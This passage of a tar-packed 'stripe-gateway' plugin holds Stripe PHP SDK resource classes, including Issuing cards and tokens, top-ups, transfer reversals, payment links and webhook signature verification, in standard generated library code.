\Stripe\ApiOperations\Update; const NETWORK_MASTERCARD = 'mastercard'; const NETWORK_VISA = 'visa'; const STATUS_ACTIVE = 'active'; const STATUS_DELETED = 'deleted'; const STATUS_REQUESTED = 'requested'; const STATUS_SUSPENDED = 'suspended'; const WALLET_PROVIDER_APPLE_PAY = 'apple_pay'; const WALLET_PROVIDER_GOOGLE_PAY = 'google_pay'; const WALLET_PROVIDER_SAMSUNG_PAY = 'samsung_pay'; /** * Lists all Issuing <code>Token</code> objects for a given card. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Issuing\Token> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves an Issuing <code>Token</code> object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Token */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Attempts to update the specified Issuing <code>Token</code> object to the status * specified. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Token the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ����������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Issuing/CardDetails.php����������������������������������������������������������0000644�����������������00000000560�14720677707�0014612 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe\Issuing; /** * Class CardDetails. * * @property string $id * @property string $object * @property Card $card * @property string $cvc * @property int $exp_month * @property int $exp_year * @property string $number */ class CardDetails extends \Stripe\ApiResource { const OBJECT_NAME = 'issuing.card_details'; } ������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Issuing/Card.php�����������������������������������������������������������������0000644�����������������00000016111�14720677707�0013303 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Issuing; /** * You can <a href="https://stripe.com/docs/issuing/cards">create physical or virtual cards</a> that are issued to cardholders. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property string $brand The brand of the card. * @property null|string $cancellation_reason The reason why the card was canceled. * @property \Stripe\Issuing\Cardholder $cardholder <p>An Issuing <code>Cardholder</code> object represents an individual or business entity who is <a href="https://stripe.com/docs/issuing">issued</a> cards.</p><p>Related guide: <a href="https://stripe.com/docs/issuing/cards#create-cardholder">How to create a cardholder</a></p> * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Supported currencies are <code>usd</code> in the US, <code>eur</code> in the EU, and <code>gbp</code> in the UK. * @property null|string $cvc The card's CVC. For security reasons, this is only available for virtual cards, and will be omitted unless you explicitly request it with <a href="https://stripe.com/docs/api/expanding_objects">the <code>expand</code> parameter</a>. Additionally, it's only available via the <a href="https://stripe.com/docs/api/issuing/cards/retrieve">"Retrieve a card" endpoint</a>, not via "List all cards" or any other endpoint. * @property int $exp_month The expiration month of the card. * @property int $exp_year The expiration year of the card. * @property null|string $financial_account The financial account this card is attached to. * @property string $last4 The last 4 digits of the card number. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|string $number The full unredacted card number. For security reasons, this is only available for virtual cards, and will be omitted unless you explicitly request it with <a href="https://stripe.com/docs/api/expanding_objects">the <code>expand</code> parameter</a>. Additionally, it's only available via the <a href="https://stripe.com/docs/api/issuing/cards/retrieve">"Retrieve a card" endpoint</a>, not via "List all cards" or any other endpoint. * @property null|string|\Stripe\Issuing\PersonalizationDesign $personalization_design The personalization design object belonging to this card. * @property null|string|\Stripe\Issuing\Card $replaced_by The latest card that replaces this card, if any. * @property null|string|\Stripe\Issuing\Card $replacement_for The card this card replaces, if any. * @property null|string $replacement_reason The reason why the previous card needed to be replaced. * @property null|\Stripe\StripeObject $shipping Where and how the card will be shipped. * @property \Stripe\StripeObject $spending_controls * @property string $status Whether authorizations can be approved on this card. May be blocked from activating cards depending on past-due Cardholder requirements. Defaults to <code>inactive</code>. * @property string $type The type of the card. * @property null|\Stripe\StripeObject $wallets Information relating to digital wallets (like Apple Pay and Google Pay). */ class Card extends \Stripe\ApiResource { const OBJECT_NAME = 'issuing.card'; use \Stripe\ApiOperations\Update; const CANCELLATION_REASON_DESIGN_REJECTED = 'design_rejected'; const CANCELLATION_REASON_LOST = 'lost'; const CANCELLATION_REASON_STOLEN = 'stolen'; const REPLACEMENT_REASON_DAMAGED = 'damaged'; const REPLACEMENT_REASON_EXPIRED = 'expired'; const REPLACEMENT_REASON_LOST = 'lost'; const REPLACEMENT_REASON_STOLEN = 'stolen'; const STATUS_ACTIVE = 'active'; const STATUS_CANCELED = 'canceled'; const STATUS_INACTIVE = 'inactive'; const TYPE_PHYSICAL = 'physical'; const TYPE_VIRTUAL = 'virtual'; /** * Creates an Issuing <code>Card</code> object. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Card the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of Issuing <code>Card</code> objects. The objects are sorted in * descending order by creation date, with the most recently created object * appearing first. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Issuing\Card> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves an Issuing <code>Card</code> object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Card */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the specified Issuing <code>Card</code> object by setting the values of * the parameters passed. Any parameters not provided will be left unchanged. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Issuing\Card the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/SetupAttempt.php�����������������������������������������������������������������0000644�����������������00000007331�14720677707�0013454 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * A SetupAttempt describes one attempted confirmation of a SetupIntent, * whether that confirmation is successful or unsuccessful. You can use * SetupAttempts to inspect details of a specific attempt at setting up a * payment method using a SetupIntent. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|string|\Stripe\Application $application The value of <a href="https://stripe.com/docs/api/setup_intents/object#setup_intent_object-application">application</a> on the SetupIntent at the time of this confirmation. * @property null|bool $attach_to_self <p>If present, the SetupIntent's payment method will be attached to the in-context Stripe Account.</p><p>It can only be used for this Stripe Account’s own money movement flows like InboundTransfer and OutboundTransfers. It cannot be set to true when setting up a PaymentMethod for a Customer, and defaults to false when attaching a PaymentMethod to a Customer.</p> * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|string|\Stripe\Customer $customer The value of <a href="https://stripe.com/docs/api/setup_intents/object#setup_intent_object-customer">customer</a> on the SetupIntent at the time of this confirmation. * @property null|string[] $flow_directions <p>Indicates the directions of money movement for which this payment method is intended to be used.</p><p>Include <code>inbound</code> if you intend to use the payment method as the origin to pull funds from. Include <code>outbound</code> if you intend to use the payment method as the destination to send funds to. You can include both if you intend to use the payment method for both purposes.</p> * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|string|\Stripe\Account $on_behalf_of The value of <a href="https://stripe.com/docs/api/setup_intents/object#setup_intent_object-on_behalf_of">on_behalf_of</a> on the SetupIntent at the time of this confirmation. * @property string|\Stripe\PaymentMethod $payment_method ID of the payment method used with this SetupAttempt. * @property \Stripe\StripeObject $payment_method_details * @property null|\Stripe\StripeObject $setup_error The error encountered during this attempt to confirm the SetupIntent, if any. * @property string|\Stripe\SetupIntent $setup_intent ID of the SetupIntent that this attempt belongs to. * @property string $status Status of this SetupAttempt, one of <code>requires_confirmation</code>, <code>requires_action</code>, <code>processing</code>, <code>succeeded</code>, <code>failed</code>, or <code>abandoned</code>. * @property string $usage The value of <a href="https://stripe.com/docs/api/setup_intents/object#setup_intent_object-usage">usage</a> on the SetupIntent at the time of this confirmation, one of <code>off_session</code> or <code>on_session</code>. */ class SetupAttempt extends ApiResource { const OBJECT_NAME = 'setup_attempt'; /** * Returns a list of SetupAttempts that associate with a provided SetupIntent. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\SetupAttempt> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/AccountSession.php���������������������������������������������������������������0000644�����������������00000005027�14720677707�0013755 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * An AccountSession allows a Connect platform to grant access to a connected account in Connect embedded components. * * We recommend that you create an AccountSession each time you need to display an embedded component * to your user. Do not save AccountSessions to your database as they expire relatively * quickly, and cannot be used more than once. * * Related guide: <a href="https://stripe.com/docs/connect/get-started-connect-embedded-components">Connect embedded components</a> * * @property string $object String representing the object's type. Objects of the same type share the same value. * @property string $account The ID of the account the AccountSession was created for * @property string $client_secret <p>The client secret of this AccountSession. Used on the client to set up secure access to the given <code>account</code>.</p><p>The client secret can be used to provide access to <code>account</code> from your frontend. It should not be stored, logged, or exposed to anyone other than the connected account. Make sure that you have TLS enabled on any page that includes the client secret.</p><p>Refer to our docs to <a href="https://stripe.com/docs/connect/get-started-connect-embedded-components">setup Connect embedded components</a> and learn about how <code>client_secret</code> should be handled.</p> * @property \Stripe\StripeObject $components * @property int $expires_at The timestamp at which this AccountSession will expire. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. */ class AccountSession extends ApiResource { const OBJECT_NAME = 'account_session'; /** * Creates a AccountSession object that includes a single-use token that the * platform can use on their front-end to grant client-side API access. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\AccountSession the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/LineItem.php���������������������������������������������������������������������0000644�����������������00000002541�14720677707�0012521 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * A line item. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount_discount Total discount amount applied. If no discounts were applied, defaults to 0. * @property int $amount_subtotal Total before any discounts or taxes are applied. * @property int $amount_tax Total tax amount applied. If no tax was applied, defaults to 0. * @property int $amount_total Total after discounts and taxes. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property string $description An arbitrary string attached to the object. Often useful for displaying to users. Defaults to product name. * @property null|\Stripe\StripeObject[] $discounts The discounts applied to the line item. * @property null|\Stripe\Price $price The price used to generate the line item. * @property null|int $quantity The quantity of products being purchased. * @property null|\Stripe\StripeObject[] $taxes The taxes applied to the line item. */ class LineItem extends ApiResource { const OBJECT_NAME = 'item'; } ���������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Topup.php������������������������������������������������������������������������0000644�����������������00000014113�14720677707�0012120 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * To top up your Stripe balance, you create a top-up object. You can retrieve * individual top-ups, as well as list all top-ups. Top-ups are identified by a * unique, random ID. * * Related guide: <a href="https://stripe.com/docs/connect/top-ups">Topping up your platform account</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount Amount transferred. * @property null|string|\Stripe\BalanceTransaction $balance_transaction ID of the balance transaction that describes the impact of this top-up on your account balance. May not be specified depending on status of top-up. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|string $description An arbitrary string attached to the object. Often useful for displaying to users. * @property null|int $expected_availability_date Date the funds are expected to arrive in your Stripe account for payouts. This factors in delays like weekends or bank holidays. May not be specified depending on status of top-up. * @property null|string $failure_code Error code explaining reason for top-up failure if available (see <a href="https://stripe.com/docs/api#errors">the errors section</a> for a list of codes). * @property null|string $failure_message Message to user further explaining reason for top-up failure if available. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property \Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|\Stripe\Source $source The source field is deprecated. It might not always be present in the API response. * @property null|string $statement_descriptor Extra information about a top-up. This will appear on your source's bank statement. It must contain at least one letter. * @property string $status The status of the top-up is either <code>canceled</code>, <code>failed</code>, <code>pending</code>, <code>reversed</code>, or <code>succeeded</code>. * @property null|string $transfer_group A string that identifies this top-up as part of a group. */ class Topup extends ApiResource { const OBJECT_NAME = 'topup'; use ApiOperations\Update; const STATUS_CANCELED = 'canceled'; const STATUS_FAILED = 'failed'; const STATUS_PENDING = 'pending'; const STATUS_REVERSED = 'reversed'; const STATUS_SUCCEEDED = 'succeeded'; /** * Top up the balance of an account. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Topup the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * Returns a list of top-ups. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Topup> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * Retrieves the details of a top-up that has previously been created. Supply the * unique top-up ID that was returned from your previous request, and Stripe will * return the corresponding top-up information. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Topup */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } /** * Updates the metadata of a top-up. Other top-up details are not editable by * design. * * @param string $id the ID of the resource to update * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Topup the updated resource */ public static function update($id, $params = null, $opts = null) { self::_validateParams($params); $url = static::resourceUrl($id); list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Topup the canceled topup */ public function cancel($params = null, $opts = null) { $url = $this->instanceUrl() . '/cancel'; list($response, $opts) = $this->_request('post', $url, $params, $opts); $this->refreshFrom($response, $opts); return $this; } } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/TransferReversal.php�������������������������������������������������������������0000644�����������������00000006440�14720677707�0014305 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * <a href="https://stripe.com/docs/connect">Stripe Connect</a> platforms can reverse transfers made to a * connected account, either entirely or partially, and can also specify whether * to refund any related application fees. Transfer reversals add to the * platform's balance and subtract from the destination account's balance. * * Reversing a transfer that was made for a <a href="/docs/connect/destination-charges">destination * charge</a> is allowed only up to the amount of * the charge. It is possible to reverse a * <a href="https://stripe.com/docs/connect/separate-charges-and-transfers#transfer-options">transfer_group</a> * transfer only if the destination account has enough balance to cover the * reversal. * * Related guide: <a href="https://stripe.com/docs/connect/separate-charges-and-transfers#reverse-transfers">Reverse transfers</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $amount Amount, in cents (or local equivalent). * @property null|string|\Stripe\BalanceTransaction $balance_transaction Balance transaction that describes the impact on your account balance. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property null|string|\Stripe\Refund $destination_payment_refund Linked payment refund for the transfer reversal. * @property null|\Stripe\StripeObject $metadata Set of <a href="https://stripe.com/docs/api/metadata">key-value pairs</a> that you can attach to an object. This can be useful for storing additional information about the object in a structured format. * @property null|string|\Stripe\Refund $source_refund ID of the refund responsible for the transfer reversal. * @property string|\Stripe\Transfer $transfer ID of the transfer that was reversed. */ class TransferReversal extends ApiResource { const OBJECT_NAME = 'transfer_reversal'; use ApiOperations\Update { save as protected _save; } /** * @return string the API URL for this Stripe transfer reversal */ public function instanceUrl() { $id = $this['id']; $transfer = $this['transfer']; if (!$id) { throw new Exception\UnexpectedValueException( 'Could not determine which URL to request: ' . "class instance has invalid ID: {$id}", null ); } $id = Util\Util::utf8($id); $transfer = Util\Util::utf8($transfer); $base = Transfer::classUrl(); $transferExtn = \urlencode($transfer); $extn = \urlencode($id); return "{$base}/{$transferExtn}/reversals/{$extn}"; } /** * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return TransferReversal the saved reversal */ public function save($opts = null) { return $this->_save($opts); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/WebhookSignature.php�������������������������������������������������������������0000644�����������������00000010431�14720677707�0014270 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe; abstract class WebhookSignature { const EXPECTED_SCHEME = 'v1'; /** * Verifies the signature header sent by Stripe. Throws an * Exception\SignatureVerificationException exception if the verification fails for * any reason. * * @param string $payload the payload sent by Stripe * @param string $header the contents of the signature header sent by * Stripe * @param string $secret secret used to generate the signature * @param int $tolerance maximum difference allowed between the header's * timestamp and the current time * * @throws Exception\SignatureVerificationException if the verification fails * * @return bool */ public static function verifyHeader($payload, $header, $secret, $tolerance = null) { // Extract timestamp and signatures from header $timestamp = self::getTimestamp($header); $signatures = self::getSignatures($header, self::EXPECTED_SCHEME); if (-1 === $timestamp) { throw Exception\SignatureVerificationException::factory( 'Unable to extract timestamp and signatures from header', $payload, $header ); } if (empty($signatures)) { throw Exception\SignatureVerificationException::factory( 'No signatures found with expected scheme', $payload, $header ); } // Check if expected signature is found in list of signatures from // header $signedPayload = "{$timestamp}.{$payload}"; $expectedSignature = self::computeSignature($signedPayload, $secret); $signatureFound = false; foreach ($signatures as $signature) { if (Util\Util::secureCompare($expectedSignature, $signature)) { $signatureFound = true; break; } } if (!$signatureFound) { throw Exception\SignatureVerificationException::factory( 'No signatures found matching the expected signature for payload', $payload, $header ); } // Check if timestamp is within tolerance if (($tolerance > 0) && (\abs(\time() - $timestamp) > $tolerance)) { throw Exception\SignatureVerificationException::factory( 'Timestamp outside the tolerance zone', $payload, $header ); } return true; } /** * Extracts the timestamp in a signature header. * * @param string $header the signature header * * @return int the timestamp contained in the header, or -1 if no valid * timestamp is found */ private static function getTimestamp($header) { $items = \explode(',', $header); foreach ($items as $item) { $itemParts = \explode('=', $item, 2); if ('t' === $itemParts[0]) { if (!\is_numeric($itemParts[1])) { return -1; } return (int) ($itemParts[1]); } } return -1; } /** * Extracts the signatures matching a given scheme in a signature header. * * @param string $header the signature header * @param string $scheme the signature scheme to look for * * @return array the list of signatures matching the provided scheme */ private static function getSignatures($header, $scheme) { $signatures = []; $items = \explode(',', $header); foreach ($items as $item) { $itemParts = \explode('=', $item, 2); if (\trim($itemParts[0]) === $scheme) { $signatures[] = $itemParts[1]; } } return $signatures; } /** * Computes the signature for a given payload and secret. * * The current scheme used by Stripe ("v1") is HMAC/SHA-256. * * @param string $payload the payload to sign * @param string $secret the secret used to generate the signature * * @return string the signature as a string */ private static function computeSignature($payload, $secret) { return \hash_hmac('sha256', $payload, $secret); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Apps/Secret.php������������������������������������������������������������������0000644�����������������00000010226�14720677707�0013142 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Apps; /** * Secret Store is an API that allows Stripe Apps developers to securely persist secrets for use by UI Extensions and app backends. * * The primary resource in Secret Store is a <code>secret</code>. Other apps can't view secrets created by an app. Additionally, secrets are scoped to provide further permission control. * * All Dashboard users and the app backend share <code>account</code> scoped secrets. Use the <code>account</code> scope for secrets that don't change per-user, like a third-party API key. * * A <code>user</code> scoped secret is accessible by the app backend and one specific Dashboard user. Use the <code>user</code> scope for per-user secrets like per-user OAuth tokens, where different users might have different permissions. * * Related guide: <a href="https://stripe.com/docs/stripe-apps/store-auth-data-custom-objects">Store data between page reloads</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property null|bool $deleted If true, indicates that this secret has been deleted * @property null|int $expires_at The Unix timestamp for the expiry time of the secret, after which the secret deletes. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property string $name A name for the secret that's unique within the scope. * @property null|string $payload The plaintext secret value to be stored. * @property \Stripe\StripeObject $scope */ class Secret extends \Stripe\ApiResource { const OBJECT_NAME = 'apps.secret'; /** * Create or replace a secret in the secret store. * * @param null|array $params * @param null|array|string $options * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Apps\Secret the created resource */ public static function create($params = null, $options = null) { self::_validateParams($params); $url = static::classUrl(); list($response, $opts) = static::_staticRequest('post', $url, $params, $options); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * List all secrets stored on the given scope. * * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Apps\Secret> of ApiResources */ public static function all($params = null, $opts = null) { $url = static::classUrl(); return static::_requestPage($url, \Stripe\Collection::class, $params, $opts); } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Apps\Secret the deleted secret */ public static function deleteWhere($params = null, $opts = null) { $url = static::classUrl() . '/delete'; list($response, $opts) = static::_staticRequest('post', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } /** * @param null|array $params * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Apps\Secret the finded secret */ public static function find($params = null, $opts = null) { $url = static::classUrl() . '/find'; list($response, $opts) = static::_staticRequest('get', $url, $params, $opts); $obj = \Stripe\Util\Util::convertToStripeObject($response->json, $opts); $obj->setLastResponse($response); return $obj; } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Mandate.php����������������������������������������������������������������������0000644�����������������00000003602�14720677707�0012363 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * A Mandate is a record of the permission that your customer gives you to debit their payment method. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property \Stripe\StripeObject $customer_acceptance * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property null|\Stripe\StripeObject $multi_use * @property null|string $on_behalf_of The account (if any) that the mandate is intended for. * @property string|\Stripe\PaymentMethod $payment_method ID of the payment method associated with this mandate. * @property \Stripe\StripeObject $payment_method_details * @property null|\Stripe\StripeObject $single_use * @property string $status The mandate status indicates whether or not you can use it to initiate a payment. * @property string $type The type of the mandate. */ class Mandate extends ApiResource { const OBJECT_NAME = 'mandate'; const STATUS_ACTIVE = 'active'; const STATUS_INACTIVE = 'inactive'; const STATUS_PENDING = 'pending'; const TYPE_MULTI_USE = 'multi_use'; const TYPE_SINGLE_USE = 'single_use'; /** * Retrieves a Mandate object. * * @param array|string $id the ID of the API resource to retrieve, or an options array containing an `id` key * @param null|array|string $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Mandate */ public static function retrieve($id, $opts = null) { $opts = \Stripe\Util\RequestOptions::parse($opts); $instance = new static($id, $opts); $instance->refresh(); return $instance; } } ������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/PaymentLink.php������������������������������������������������������������������0000644�����������������00000021266�14720677707�0013253 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * A payment link is a shareable URL that will take your customers to a hosted payment page. A payment link can be shared and used multiple times. * * When a customer opens a payment link it will open a new <a href="https://stripe.com/docs/api/checkout/sessions">checkout session</a> to render the payment page. You can use <a href="https://stripe.com/docs/api/events/types#event_types-checkout.session.completed">checkout session events</a> to track payments through payment links. * * Related guide: <a href="https://stripe.com/docs/payment-links">Payment Links API</a> * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property bool $active Whether the payment link's <code>url</code> is active. If <code>false</code>, customers visiting the URL will be shown a page saying that the link has been deactivated. * @property \Stripe\StripeObject $after_completion * @property bool $allow_promotion_codes Whether user redeemable promotion codes are enabled. * @property null|string|\Stripe\Application $application The ID of the Connect application that created the Payment Link. * @property null|int $application_fee_amount The amount of the application fee (if any) that will be requested to be applied to the payment and transferred to the application owner's Stripe account. * @property null|float $application_fee_percent This represents the percentage of the subscription invoice total that will be transferred to the application owner's Stripe account. * @property \Stripe\StripeObject $automatic_tax * @property string $billing_address_collection Configuration for collecting the customer's billing address. Defaults to <code>auto</code>. * @property null|\Stripe\StripeObject $consent_collection When set, provides configuration to gather active consent from customers. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property \Stripe\StripeObject[] $custom_fields Collect additional information from your customer using custom fields. Up to 3 fields are supported. * @property \Stripe\StripeObject $custom_text * @property string $customer_creation Configuration for Customer creation during checkout. * @property null|string $inactive_message The custom message to be displayed to a customer when a payment link is no longer active. * @property null|\Stripe\StripeObject $invoice_creation Configuration for creating invoice for payment mode payment links. * @property null|\Stripe\Collection<\Stripe\LineItem> $line_items The line items representing what is being sold. * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property 